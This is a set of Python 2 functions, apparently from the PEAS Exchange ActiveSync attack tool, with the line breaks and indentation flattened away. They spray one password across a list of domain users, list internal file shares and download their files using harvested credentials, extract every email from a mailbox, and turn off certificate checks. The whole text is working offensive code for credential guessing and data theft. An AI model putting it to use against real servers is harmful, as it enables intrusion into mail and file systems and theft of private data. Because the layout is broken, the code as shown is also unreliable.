def init_authed_client(options, verify=True): if options.user is None: error("A username must be specified for this command.") return False if options.password is None: error("A password must be specified for this command.") return False client = peas.Peas() creds = { 'server': options.server, 'user': options.user, 'password': options.password, } if options.smb_user is not None: creds['smb_user'] = options.smb_user if options.smb_password is not None: creds['smb_password'] = options.smb_password client.set_creds(creds) if not verify: client.disable_certificate_verification() return client
def check_server(options): client = peas.Peas() client.set_creds({'server': options.server}) if not options.verify_ssl: client.disable_certificate_verification() result = client.get_server_headers() output_result(str(result), options, default='stdout')
def get_files(): client = peas.Peas() client.disable_certificate_verification() while True: if q is not None: path = q.get(True) cannot_access = True for creds in creds_list: client.set_creds({ 'server': host, 'user': domain+"\\"+creds['user'], 'password': creds['password'], }) try: downloaded = client.get_unc_file(path) with global_lock: print "Downloaded with " + domain + "\\" + creds['user'] + ":" + creds['password'] + ": " + path filename = path.replace("\\", "_")[2:] fullname = os.path.join(os.getcwd(), out_dir, filename) with open(fullname, 'wb') as f: f.write(downloaded) cannot_access = False break except (IndexError,KeyError,binascii.Error,AttributeError,EOFError): with global_lock: logging.debug("Download error, retrying: " + path) q.put(path) cannot_access = False break except TypeError: logging.debug("Failed with " + domain + "\\" + creds['user'] + ":" + creds['password'] + ": " + path) continue except Exception as e: with global_lock: logging.debug(colored(str(type(e)) + " " + str(e), 'red')) raise cannot_access = False break if cannot_access: with global_lock: print colored("Cannot access: " + path, 'yellow') q.task_done() else: break
def check_credentials(): client = peas.Peas() client.disable_certificate_verification() while True: user = q.get() client.set_creds({ 'server': host, 'user': domain + "\\" + user, 'password': password, }) try: auth_true = client.check_auth() if auth_true: with global_lock: print domain + "\\" + user + ":" + password except Exception as e: with global_lock: logging.debug(colored(str(type(e)) + " " + str(e), 'red')) q.task_done()
def list_files(): client = peas.Peas() client.disable_certificate_verification() while True: if q is not None: path = q.get() for creds in creds_list: client.set_creds({ 'server': host, 'user': domain+"\\"+creds['user'], 'password': creds['password'], }) with global_lock: logging.info("Trying: " + creds['user'] + ":" + creds['password'] + ": " + path + "\\") try: listing = client.get_unc_listing(r'%s' % path) for row in listing[1:]: if row.get('IsFolder', None) != '1': with global_lock: print row['LinkId'] if row.get('IsFolder', None) == '1': if not flag_norecurse: q.put(row['LinkId']) with global_lock: print row['LinkId'] + "\\" if len(listing) > 1: break except (IndexError,KeyError,IOError): with global_lock: logging.debug("Sync error, retrying: " + path) time.sleep(1) q.put(path) break except Exception as e: with global_lock: logging.debug(colored(str(type(e)) + " " + str(e), 'red')) q.task_done() else: break
def main(): peas.show_banner() client = peas.Peas() client.set_creds(_creds.CREDS) print("Extracting all emails with pyActiveSync") client.set_backend(peas.PY_ACTIVE_SYNC) emails = client.extract_emails() pprint(emails) print print("Extracting all emails with py-eas-client") client.set_backend(peas.PY_EAS_CLIENT) emails = client.extract_emails() pprint(emails) print